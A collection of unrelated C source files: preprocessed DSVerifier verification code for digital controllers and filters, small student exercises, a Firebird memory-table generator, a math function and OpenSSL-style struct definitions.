# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix,nStates) != 0
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(controllabilityMatrix,nStates) != 0"
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 163, __extension__ __PRETTY_FUNCTION__); }))
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
}
return 0;
}
# 46 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
extern digital_system_state_space _controller;
int verify_observability(void){
int i;
int j;
fxp_t A_fpx[4][4];
fxp_t C_fpx[4][4];
fxp_t observabilityMatrix[4][4];
fxp_t backup[4][4];
fxp_t backupSecond[4][4];
double observabilityMatrix_double[4][4];
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
observabilityMatrix[i][j]= 0;
A_fpx[i][j]=0;
C_fpx[i][j]= 0;
backup[i][j]= 0;
backupSecond[i][j]= 0;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
A_fpx[i][j]= fxp_double_to_fxp(_controller.A[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
C_fpx[i][j]= fxp_double_to_fxp(_controller.C[i][j]);
}
}
if(nOutputs > 1){
int l;
j = 0;
for(l=0; l<nStates;){
fxp_exp_matrix(nStates,nStates,A_fpx,l,backup);
l++;
fxp_matrix_multiplication(nOutputs,nStates,nStates,nStates,C_fpx,backup,backupSecond);
for(int k = 0; k < nOutputs; k++){
for(i = 0; i<nStates;i++){
observabilityMatrix[j][i]= backupSecond[k][i];
}
j++;
}
}
# 80 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nOutputs);j++){
backup[i][j]= 0.0;
}
}
fxp_transpose(observabilityMatrix,backup,(nStates*nOutputs),nStates);
# 99 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
fxp_t mimo_observabilityMatrix_fxp[4][4];
fxp_matrix_multiplication(nStates,(nStates*nOutputs),(nStates*nOutputs),nStates,backup,observabilityMatrix,mimo_observabilityMatrix_fxp);
# 112 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
observabilityMatrix_double[i][j]= fxp_to_double(mimo_observabilityMatrix_fxp[i][j]);
}
}
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
((void) sizeof ((
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ; else __assert_fail (
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
"determinant(observabilityMatrix_double,nStates) != 0"
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h", 119, __extension__ __PRETTY_FUNCTION__); }))
# 119 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
;
}else{
for(i=0; i<nStates;i++){
fxp_exp_matrix(nStates,nStates,A_fpx,i,backup);
fxp_matrix_multiplication(nOutputs,nStates,nStates,nStates,C_fpx,backup,backupSecond);
for(j = 0; j<nStates;j++){
observabilityMatrix[i][j]= backupSecond[0][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
observabilityMatrix_double[i][j]= fxp_to_double(observabilityMatrix[i][j]);
}
}
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
((void) sizeof ((
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
determinant(observabilityMatrix_double,nStates) != 0
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
) ; else __assert_fail (
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
"determinant(observabilityMatrix_double,nStates) != 0"
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h", 134, __extension__ __PRETTY_FUNCTION__); }))
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_observability.h"
;
}
return 0;
}
# 47 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_magnitude.h" 1
# 16 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_magnitude.h"
extern filter_parameters filter;
extern implementation impl;
extern digital_system ds;
# 28 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_magnitude.h"
void resp_mag(double* num, int lnum, double* den, int lden, double* res, int N) {
double w;
int m, i;
double out_numRe[N + 1];
double out_numIm[N + 1];
double out_denRe[N + 1];
double out_denIm[N + 1];
double old_out_Re;
double zero_test;
for (w = 0, i = 0; w <= 3.14159265358979323846; w += 3.14159265358979323846 / N, ++i) {
out_numRe[i] = num[0];
out_numIm[i] = 0;
for (m = 1; m < lnum; ++m) {
old_out_Re = out_numRe[i];
out_numRe[i] = cosTyl(w, 6) * out_numRe[i] - sinTyl(w, 6) * out_numIm[i] + num[m];
out_numIm[i] = sinTyl(w, 6) * old_out_Re + cosTyl(w, 6) * out_numIm[i];
}
out_denRe[i] = den[0];
out_denIm[i] = 0;
for (m = 1; m < lden; ++m) {
old_out_Re = out_denRe[i];
out_denRe[i] = cosTyl(w, 6) * out_denRe[i] - sinTyl(w, 6) * out_denIm[i] + den[m];
out_denIm[i] = sinTyl(w, 6) * old_out_Re + cosTyl(w, 6) * out_denIm[i];
}
res[i] = sqrt3(out_numRe[i] * out_numRe[i] + out_numIm[i] * out_numIm[i]);
zero_test = sqrt3(out_denRe[i] * out_denRe[i] + out_denIm[i] * out_denIm[i]);
__DSVERIFIER_assume(zero_test != 0);
res[i] = res[i] / zero_test;
}
}
int verify_magnitude(void) {
int freq_response_samples = 100;
double w;
double w_incr = 1.0 / freq_response_samples;
double res[freq_response_samples+1];
int i,j;
fxp_t a_fxp[ds.a_size];
fxp_double_to_fxp_array(ds.a, a_fxp, ds.a_size);
double _a[ds.a_size];
fxp_to_double_array(_a, a_fxp, ds.a_size);
fxp_t b_fxp[ds.b_size];
fxp_double_to_fxp_array(ds.b, b_fxp, ds.b_size);
double _b[ds.b_size];
fxp_to_double_array(_b, b_fxp, ds.b_size);
resp_mag(ds.b, ds.b_size, ds.a, ds.a_size, res, freq_response_samples);
if (filter.type == 1) {
for (i = 0, w = 0; (w <= 1.0); ++i, w += w_incr) {
if (w <= filter.wp) {
__DSVERIFIER_assert_msg(res[i] >= filter.Ap, "|----------------Passband Failure-------------|");
} else if (w == filter.wc) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ac, "|-------------Cutoff Frequency Failure--------|");
} else if ((w >= filter.wr) && (w <= 1)) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ar, "|----------------Stopband Failure-------------|");
}
}
} else if (filter.type == 2) {
for (i = 0, w = 0; (w <= 1.0); ++i, w += w_incr) {
if (w <= filter.wr) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ar, "|----------------Stopband Failure-------------|");
} else if (w == filter.wc) {
__DSVERIFIER_assert_msg(res[i] <= filter.Ac, "|-------------Cutoff Frequency Failure--------|");
} else if ((w > filter.wp) && (w <= 1)) {
__DSVERIFIER_assert_msg(res[i] >= filter.Ap, "|----------------Passband Failure-------------|");
}
}
} else {
__DSVERIFIER_assert(0);
}
return 0;
}
# 48 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
extern digital_system ds;
extern digital_system plant;
digital_system plant_cbmc;
extern digital_system controller;
extern implementation impl;
extern hardware hw;
extern digital_system_state_space _controller;
extern filter_parameters filter;
unsigned int nondet_uint();
extern void initials();
void validation();
void call_verification_task(void * verification_task);
void call_closedloop_verification_task(void * closedloop_verification_task);
float nondet_float();
double nondet_double();
int main(){
initialization();
validation();
if (1 == 0)
rounding_mode = 0;
else if (1 == 1)
rounding_mode = 1;
else if (1 == 2)
rounding_mode = 2;
if (3 == 3)
{
call_verification_task(&verify_overflow);
}
else if (3 == 2)
{
call_verification_task(&verify_limit_cycle);
}
else if (3 == 6)
{
call_verification_task(&verify_error);
}
else if (3 == 1)
{
call_verification_task(&verify_zero_input_limit_cycle);
}
else if (3 == 4)
{
call_verification_task(&verify_timing_msp_430);
}
else if (3 == 5)
{
call_verification_task(&verify_generic_timing);
}
else if (3 == 7)
{
call_verification_task(&verify_stability);
}
else if (3 == 8)
{
call_verification_task(&verify_minimum_phase);
}
else if (3 == 9)
{
call_closedloop_verification_task(&verify_stability_closedloop_using_dslib);
}
else if (3 == 10)
{
call_closedloop_verification_task(&verify_limit_cycle_closed_loop);
}
else if (3 == 11)
{
call_closedloop_verification_task(&verify_error_closedloop);
}
else if (3 == 12)
{
verify_error_state_space();
}
else if (3 == 16)
{
verify_safety_state_space();
}
else if (3 == 13)
{
verify_controllability();
}
else if (3 == 14)
{
verify_observability();
}
else if (3 == 15)
{
verify_limit_cycle_state_space();
}
else if (3 == 18)
{
call_verification_task(&verify_magnitude);
}
return 0;
}
void validation()
{
if (3 == 12 || 3 == 16 ||
3 == 15 || 3 == 13 ||
3 == 14)
{
if (0 == 0)
{
printf("\n\n********************************************************************************************\n");
printf("* set a K_SIZE to use this property in DSVerifier (use: -DK_SIZE=VALUE) *\n");
printf("********************************************************************************************\n");
__DSVERIFIER_assert(0);
exit(1);
}
initials();
return;
}
if (((3 != 9) && (3 != 10) &&
(3 != 11)) && (ds.a_size == 0 || ds.b_size == 0))
{
printf("\n\n****************************************************************************\n");
printf("* set (ds and impl) parameters to check with DSVerifier *\n");
printf("****************************************************************************\n");
__DSVERIFIER_assert(0);
}
if ((3 == 9) || (3 == 10) ||
(3 == 11))
{
if (controller.a_size == 0 || plant.b_size == 0 || impl.int_bits == 0 )
{
printf("\n\n*****************************************************************************************************\n");
printf("* set (controller, plant, and impl) parameters to check CLOSED LOOP with DSVerifier *\n");
printf("*****************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
else
{
printf("\n\n*****************************************************************************************************\n");
printf("* set (controller and impl) parameters so that they do not overflow *\n");
printf("*****************************************************************************************************\n");
unsigned j;
for (j = 0; j < controller.a_size; ++j)
{
const double value=controller.a[j];
__DSVERIFIER_assert(value <= _dbl_max);
__DSVERIFIER_assert(value >= _dbl_min);
}
for (j = 0; j < controller.b_size; ++j)
{
const double value=controller.b[j];
__DSVERIFIER_assert(value <= _dbl_max);
__DSVERIFIER_assert(value >= _dbl_min);
}
}
if (controller.b_size > 0)
{
unsigned j, zeros=0;
for (j = 0; j < controller.b_size; ++j)
{
if (controller.b[j]==0)
++zeros;
}
if (zeros == controller.b_size)
{
printf("\n\n*****************************************************************************************************\n");
printf("* The controller numerator must not be zero *\n");
printf("*****************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (controller.a_size > 0)
{
unsigned j, zeros=0;
for (j = 0; j < controller.a_size; ++j)
{
if (controller.a[j]==0)
++zeros;
}
if (zeros == controller.a_size)
{
printf("\n\n*****************************************************************************************************\n");
printf("* The controller denominator must not be zero *\n");
printf("*****************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (0 == 0)
{
printf("\n\n***************************************************************************************************************\n");
printf("* set a connection mode to check CLOSED LOOP with DSVerifier (use: --connection-mode TYPE) *\n");
printf("***************************************************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (3 == 0)
{
printf("\n\n***************************************************************************************\n");
printf("* set the property to check with DSVerifier (use: --property NAME) *\n");
printf("***************************************************************************************\n");
__DSVERIFIER_assert(0);
}
if ((3 == 3) || (3 == 2) || (3 == 1) ||
(3 == 10) || (3 == 11) ||
(3 == 4 || 3 == 5) || 3 == 6)
{
if ((5 == 0) && !(0 == 1))
{
printf("\n\n********************************************************************************************\n");
printf("* set a X_SIZE to use this property in DSVerifier (use: --x-size VALUE) *\n");
printf("********************************************************************************************\n");
__DSVERIFIER_assert(0);
}
else if (0 == 1)
{
X_SIZE_VALUE = nondet_uint();
__DSVERIFIER_assume( X_SIZE_VALUE > (2 * ds.a_size));
}
else if (5 < 0)
{
printf("\n\n********************************************************************************************\n");
printf("* set a X_SIZE > 0 *\n");
printf("********************************************************************************************\n");
__DSVERIFIER_assert(0);
}
else
{
X_SIZE_VALUE = 5;
}
}
if ((2 == 0) && (3 != 9) && (3 != 18))
{
printf("\n\n*********************************************************************************************\n");
printf("* set the realization to check with DSVerifier (use: --realization NAME) *\n");
printf("*********************************************************************************************\n");
__DSVERIFIER_assert(0);
}
if (3 == 6 || 3 == 11)
{
if (impl.max_error == 0)
{
printf("\n\n***********************************************************************\n");
printf("* provide the maximum expected error (use: impl.max_error) *\n");
printf("***********************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if (3 == 4 || 3 == 5)
{
if (3 == 5 || 3 == 4)
{
if (hw.clock == 0l)
{
printf("\n\n***************************\n");
printf("* Clock could not be zero *\n");
printf("***************************\n");
__DSVERIFIER_assert(0);
}
hw.cycle = ((double) 1.0 / hw.clock);
if (hw.cycle < 0)
{
printf("\n\n*********************************************\n");
printf("* The cycle time could not be representable *\n");
printf("*********************************************\n");
__DSVERIFIER_assert(0);
}
if (ds.sample_time == 0)
{
printf("\n\n*****************************************************************************\n");
printf("* provide the sample time of the digital system (ds.sample_time) *\n");
printf("*****************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
}
if (3 == 18)
{
if (!((filter.Ap > 0) && (filter.Ac >0) && (filter.Ar >0)))
{
printf("\n\n*****************************************************************************\n");
printf("* set values bigger than 0 for Ap, Ac and Ar* \n");
printf("*****************************************************************************\n");
__DSVERIFIER_assert(0);
}
}
if ((2 == 7) || (2 == 8) || (2 == 9) ||
(2 == 10) || (2 == 11) || (2 == 12))
{
printf("\n\n******************************************\n");
printf("* Temporarily the cascade modes are disabled *\n");
printf("**********************************************\n");
__DSVERIFIER_assert(0);
}
}
void call_verification_task(void * verification_task)
{
int i = 0;
_Bool base_case_executed = 0;
if (0 == 2)
{
for(i=0; i<ds.b_size; i++)
{
if (ds.b_uncertainty[i] > 0)
{
double factor = ds.b_uncertainty[i];
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.b[i] - factor;
double max = ds.b[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.b[i] = nondet_double();
__DSVERIFIER_assume((ds.b[i] >= min) && (ds.b[i] <= max));
}
}
for(i=0; i<ds.a_size; i++)
{
if (ds.a_uncertainty[i] > 0)
{
double factor = ds.a_uncertainty[i];
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.a[i] - factor;
double max = ds.a[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.a[i] = nondet_double();
__DSVERIFIER_assume((ds.a[i] >= min) && (ds.a[i] <= max));
}
}
}
else
{
int i=0;
for(i=0; i<ds.b_size; i++)
{
if (ds.b_uncertainty[i] > 0)
{
double factor = ((ds.b[i] * ds.b_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.b[i] - factor;
double max = ds.b[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.b[i] = nondet_double();
__DSVERIFIER_assume((ds.b[i] >= min) && (ds.b[i] <= max));
}
}
for(i=0; i<ds.a_size; i++)
{
if (ds.a_uncertainty[i] > 0)
{
double factor = ((ds.a[i] * ds.a_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = ds.a[i] - factor;
double max = ds.a[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
ds.a[i] = nondet_double();
__DSVERIFIER_assume((ds.a[i] >= min) && (ds.a[i] <= max));
}
}
}
((void(*)())verification_task)();
}
void call_closedloop_verification_task(void * closedloop_verification_task)
{
_Bool base_case_executed = 0;
int i=0;
for(i=0; i<plant.b_size; i++)
{
if (plant.b_uncertainty[i] > 0)
{
double factor = ((plant.b[i] * plant.b_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = plant.b[i] - factor;
double max = plant.b[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
plant_cbmc.b[i] = nondet_double();
__DSVERIFIER_assume((plant_cbmc.b[i] >= min) && (plant_cbmc.b[i] <= max));
}else{
plant_cbmc.b[i] = plant.b[i];
}
}
for(i=0; i<plant.a_size; i++)
{
if (plant.a_uncertainty[i] > 0)
{
double factor = ((plant.a[i] * plant.a_uncertainty[i]) / 100);
factor = factor < 0 ? factor * (-1) : factor;
double min = plant.a[i] - factor;
double max = plant.a[i] + factor;
if ((factor == 0) && (base_case_executed == 1))
{
continue;
}
else if ((factor == 0) && (base_case_executed == 0))
{
base_case_executed = 1;
}
plant_cbmc.a[i] = nondet_double();
__DSVERIFIER_assume((plant_cbmc.a[i] >= min) && (plant_cbmc.a[i] <= max));
}
else
{
plant_cbmc.a[i] = plant.a[i];
}
}
((void(*)())closedloop_verification_task)();
}
# 2 "benchmarks/ds-05-impl3.c" 2
digital_system ds = {
.b = { 2002.0, -4000.0, 1998.0 },
.b_size = 3,
.a = { 1.0, 0.0, -1.0 },
.a_size = 3,
.sample_time = 0.001
};
implementation impl = {
.int_bits = 13,
.frac_bits = 3,
.max = 1.0,
.min = -1.0
};
|
the_stack_data/215768421.c
|
#include <stdio.h>
int main(void)
{
int n,i=0,j;
int a[80];
scanf("%d",&n);
while(n>0)
{
a[i++]=n%2;
n/=2;
}
for(j=i-1;j>=0;j--)
{
printf("%d",a[j]);
}
return 0;
}
|
the_stack_data/18886611.c
|
/*
* PROGRAM: memory allocator
* MODULE: miditab.c
* DESCRIPTION: Types c++ arrays, required for memory pool
*
* The contents of this file are subject to the Initial
* Developer's Public License Version 1.0 (the "License");
* you may not use this file except in compliance with the
* License. You may obtain a copy of the License at
* http://www.ibphoenix.com/main.nfs?a=ibphoenix&page=ibp_idpl.
*
* Software distributed under the License is distributed AS IS,
* WITHOUT WARRANTY OF ANY KIND, either express or implied.
* See the License for the specific language governing rights
* and limitations under the License.
*
* The Original Code was created by Alexander Peshkoff
* for the Firebird Open Source RDBMS project.
*
* Copyright (c) 2015 Alexander Peshkoff <[email protected]>
* and all contributors signed below.
*
* All Rights Reserved.
* Contributor(s): ______________________________________.
*/
#include <stdio.h>
main(int ac, char** av)
{
int mode = ac < 2 ? 0 : ((*av[1]) - '0');
int cur = 1024 + 128;
int prev = 0;
const int dstep = 128;
int limit = 63 * 1024;
int slot = 0;
while (cur <= limit)
{
if (mode == 0)
printf ("\t%d, // %d\n", slot, cur);
if (((cur - prev) * 10) / cur > 0)
{
if (mode == 1)
printf ("\t%d, // %d\n", cur, slot);
prev = cur;
++slot;
}
cur += dstep;
}
if (mode == 1)
printf ("\t%d, // %d\n", cur, slot);
}
|
the_stack_data/34511637.c
|
/*
* File: ex_23.c
* Author: Vinicius
*/
#include <stdio.h>
#include <stdlib.h>
int tridiagonal (int** mat, int n);
int main(int argc, char** argv) {
int **mat;
int n,i,j,d;
printf("Digiite o numero de linhas/colunas da matriz: ");
scanf("%d",&n);
mat=(int**)malloc(n*sizeof(int*));
for (i=0; i<n; i++)
mat[i] = (int*) malloc(n*sizeof(int));
printf("\nDigite a matriz:\n");
for(i=0;i<n;i++){
for(j=0;j<n;j++){
printf("Digite o valor [%d][%d]: ",i,j);
scanf("%d",&mat[i][j]);
}
}
printf("Retorno: %d ",tridiagonal(mat,n));
free(mat);
return (EXIT_SUCCESS);
}
int tridiagonal (int** mat, int n){
int i,j,d;
for (i=0; i<n; i++){
for (j=0; j<n; j++){
d=i*n+j;
// verifica se elemento não é da diagonal principal e adjacente
if(!(i==j || i+1 == j || i == j+1)){
if (mat[i][j] != 0) return 0;
}
}
}
return 1;
}
// diag princ i == j
// dia adjac i +1 == j e i == j+1
|
the_stack_data/32950186.c
|
/*
* Copyright 2010 The Native Client Authors. All rights reserved.
* Use of this source code is governed by a BSD-style license that can
* be found in the LICENSE file.
*/
/*
* Stub empty environment for porting support.
*/
static char *__env[1] = { 0 };
char **environ = __env;
|
the_stack_data/16682.c
|
#include <stdio.h>
int main()
{
int n, i, j;
scanf("%d", &n);
int len = n*2 - 1;
for(i=0;i<len;i++){
for(j=0;j<len;j++){
int min = i < j ? i : j;
min = min < len-i ? min : len-i-1;
min = min < len-j-1 ? min : len-j-1;
printf("%d ", n-min);
}
printf("\n");
}
return 0;
}
|
the_stack_data/139475.c
|
// ***
// *** You MUST modify this file.
// ***
#include <stdio.h>
#include <stdbool.h>
#include <string.h>
#ifdef TEST_COUNTINT
int countInt(char * filename)
{
FILE * fptr = fopen(filename,"r");
if (fptr == NULL)
return -1;
int value;
int count = 0;
while (fscanf(fptr, "%d", & value) == 1)
{
count++;
//fprintf(stdout, "The file has %d integers \n", count);
}
fclose(fptr);
return count;
// count the number of integers in the file
// Please notice that if a file contains
// 124 378 -56
// There are three integers: 124, 378, -56
// DO NOT count individual character '1', '2', '4' ...
//
// If fopen fails, return -1
// remember to fclose if fopen succeeds
}
#endif
#ifdef TEST_READINT
bool readInt(char* filename, int * intArr, int size)
{
FILE * fptr = fopen(filename,"r");
if (fptr == NULL)
return false;
int ind = 0;
while (ind < size)
{
if (fscanf(fptr, "%d", & intArr[ind]) != 1)
{
fclose(fptr);
//free(intArr);
return false;
}
ind++;
}
fclose(fptr);
// if fopen fails, return false
// read integers from the file.
//
//
// if the number of integers is different from size (too
// few or too many) return false
//
// if everything is fine, fclose and return true
return true;
}
#endif
#ifdef TEST_COMPAREINT
int compareInt(const void *p1, const void *p2)
{
// needed by qsort
//
// return an integer less than, equal to, or greater than zero if
// the first argument is considered to be respectively less than,
// equal to, or greater than the second.
return ( *(int*)p1 - *(int*)p2 );
}
#endif
#ifdef TEST_WRITEINT
bool writeInt(char* filename, int * intArr, int size)
{
// if fopen fails, return false
// write integers to the file.
// one integer per line
//
// fclose and return true
FILE * fptr = fopen(filename,"w");
if (fptr == NULL)
return false;
fwrite(intArr, size, sizeof(intArr), fptr);
fclose(fptr);
return true;
}
#endif
|
the_stack_data/234517566.c
|
#include <stdio.h>
#include <math.h>
int is_prime(int num) {
if (num == 2) return 1;
if (num % 2 == 0) return 0;
for (int i = 3; i <= sqrt(num); i = i + 2) {
if (num % i == 0) {
return 0;
}
}
return 1;
}
int main() {
int number_of_primes = 0;
int current_prime = 0;
int i = 1;
while (number_of_primes <= 10001) {
if (is_prime(i)) {
number_of_primes++;
current_prime = i;
}
i++;
}
printf("%i\n", current_prime);
}
|
the_stack_data/145452414.c
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* maff_alpha.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: exam <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2018/08/10 18:06:01 by exam #+# #+# */
/* Updated: 2018/08/10 18:10:40 by exam ### ########.fr */
/* */
/* ************************************************************************** */
#include <unistd.h>
int main(void)
{
write(1, "aBcDeFgHiJkLmNoPqRsTuVwXyZ\n", 27);
}
|
the_stack_data/190769165.c
|
#include<stdio.h>
#include<stdlib.h>
double *p=NULL;
int n;
double *insertion(double *p)
{
if(p==NULL)
printf("DA is empty");
else
{
++n;
double *nn;
nn=(double *)calloc(n,sizeof(double));
double *temp;
temp=nn;
for(int i=0;i<n-1;i++)
{
*(nn++)=*(p+i);
}
printf("enter the value to be inserted at last");
int val;
scanf("%d",&val);
*(nn)=val;
return temp;
}
}
int main()
{
int i;
printf("the size of da ");
scanf("%d",&n);
p=calloc(n,sizeof(double)); //make double array of 10 element
printf("Enter n values ");
for(i=0;i<n;i++)
scanf("%lf",(p+i));
printf("\n Entered values are :");
for(i=0;i<n;i++)
printf("%lf\n",*(p+i));
int option;
printf("ENter the option for operation \n");
printf("enter 1 for insertion at end\n");
printf("enter 2 for exit");
printf("enter an option ");
scanf("%d",&option);
do {
switch(option)
{
case 1:
p=insertion(p);
break;
case 2:
break;
}
printf("enter an option ");
scanf("%d",&option);
} while(option!=2);
for(i=0;i<n;i++)
printf("%f\n",*(p+i));
}
|
the_stack_data/148579266.c
|
#include <math.h>
float hypotf(float x, float y)
{
if (isinf(x) || isinf(y))
return INFINITY;
double a = x;
double b = y;
return sqrt(a * a + b * b);
}
|
the_stack_data/100140539.c
|
struct list_head
{
struct list_head *next, *prev;
};
struct notifier_block
{
struct list_head chain;
};
struct notifier_head
{
struct notifier_block head;
};
// Bug in designated initialized (when nested)
// Unparsed as: static struct notifier_head cpu_chain = {.head = .chain = {(&cpu_chain . head . chain), (&cpu_chain . head . chain)}};
static struct notifier_head cpu_chain = { .head.chain = { &(cpu_chain.head.chain), &(cpu_chain.head.chain) } };
|
the_stack_data/1237001.c
|
typedef unsigned int size_t;
typedef long __time_t;
struct buf_mem_st {
int length ;
char *data ;
int max ;
};
typedef struct buf_mem_st BUF_MEM;
typedef __time_t time_t;
struct stack_st {
int num ;
char **data ;
int sorted ;
int num_alloc ;
int (*comp)(char const * const * , char const * const * ) ;
};
typedef struct stack_st STACK;
struct bio_st;
struct crypto_ex_data_st {
STACK *sk ;
int dummy ;
};
typedef struct crypto_ex_data_st CRYPTO_EX_DATA;
typedef struct bio_st BIO;
typedef void bio_info_cb(struct bio_st * , int , char const * , int , long ,
long );struct bio_method_st {
int type ;
char const *name ;
int (*bwrite)(BIO * , char const * , int ) ;
int (*bread)(BIO * , char * , int ) ;
int (*bputs)(BIO * , char const * ) ;
int (*bgets)(BIO * , char * , int ) ;
long (*ctrl)(BIO * , int , long , void * ) ;
int (*create)(BIO * ) ;
int (*destroy)(BIO * ) ;
long (*callback_ctrl)(BIO * , int , bio_info_cb * ) ;
};
typedef struct bio_method_st BIO_METHOD;
struct bio_st {
BIO_METHOD *method ;
long (*callback)(struct bio_st * , int , char const * , int , long , long ) ;
char *cb_arg ;
int init ;
int shutdown ;
int flags ;
int retry_reason ;
int num ;
void *ptr ;
struct bio_st *next_bio ;
struct bio_st *prev_bio ;
int references ;
unsigned long num_read ;
unsigned long num_write ;
CRYPTO_EX_DATA ex_data ;
};
struct bignum_st {
unsigned long *d ;
int top ;
int dmax ;
int neg ;
int flags ;
};
typedef struct bignum_st BIGNUM;
struct bignum_ctx {
int tos ;
BIGNUM bn[16] ;
int flags ;
int depth ;
int pos[12] ;
int too_many ;
};
